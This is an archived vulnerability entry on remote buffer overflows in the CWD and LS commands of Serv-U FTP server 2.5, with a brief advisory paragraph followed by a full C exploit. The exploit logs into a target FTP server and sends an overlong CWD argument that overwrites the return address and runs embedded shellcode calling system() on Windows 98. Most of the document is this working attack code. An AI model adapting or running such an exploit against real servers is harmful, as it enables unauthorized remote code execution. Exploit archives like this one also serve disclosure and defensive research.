// source: https://www.securityfocus.com/bid/269/info
The Serv-U FTP server versions 2.5 and earlier are vulnerable to multiple buffer overflows. This can result in a denial of service and at worst in arbitrary code being executed on the system.
The vulnerabilities are in the CWD and LS FTP commands if they are passed an argument a string longer than 155 characters.
The following exploit is know to work under Serv-U 2.5 under Windows 98. Changing the parameter may make it work under other environments.
/*=============================================================================
FTP Serv-U Version 2.5 Exploit for Windows98
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#define BUFSIZE 9000
#define FTP_PORT 21
#define RETADR 164
#define CODEOFS 200
#define FSTACKOFS 174
#define JMPOFS 6
#define MAXUSER 100
#define MAXPASS 100
#define EIP 0xbff7a027
#define FAKESTACK 0x80050101
#define NOP 0x90
#define JMPS 0xeb
unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.notepad.exe";
void sendcmd(int sockfd,char *packetbuf)
{
int i;
write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
}
int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
char user[MAXUSER],pass[MAXPASS];
int sockfd,i,fakestack,ip,ebp,ins;
if (argc<2){
printf("usage\n %s HostName {[username] [password]}\n",argv[0]);
exit(1);
}else if (argc==4){
strncpy(user,argv[2],MAXUSER-1);
strncpy(pass,argv[3],MAXPASS-1);
user[MAXUSER-1]=0; pass[MAXPASS-1]=0;
}else{
strcpy(user,"anonymous");
strcpy(pass,"hoge@hohoho.com");
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(FTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
strcat(exploit_code,cmdbuf);
memset(buf,NOP,BUFSIZE);
fakestack=FAKESTACK;
for (i=0;i<FSTACKOFS;i+=4){
buf[i ]=fakestack&0xff;
buf[i+1]=(fakestack>>8)&0xff;
buf[i+2]=(fakestack>>16)&0xff;
buf[i+3]=(fakestack>>24)&0xff;
}
ip=EIP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[RETADR+4]=JMPS;
buf[RETADR+5]=JMPOFS;
memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));
buf[BUFSIZE]=0;
sprintf(packetbuf,"user %s\r\n",user);
sendcmd(sockfd,packetbuf);
sprintf(packetbuf,"pass %s\r\n",pass);
sendcmd(sockfd,packetbuf);
sprintf(packetbuf,"cwd %s\r\n",buf);
sendcmd(sockfd,packetbuf);
close(sockfd);
}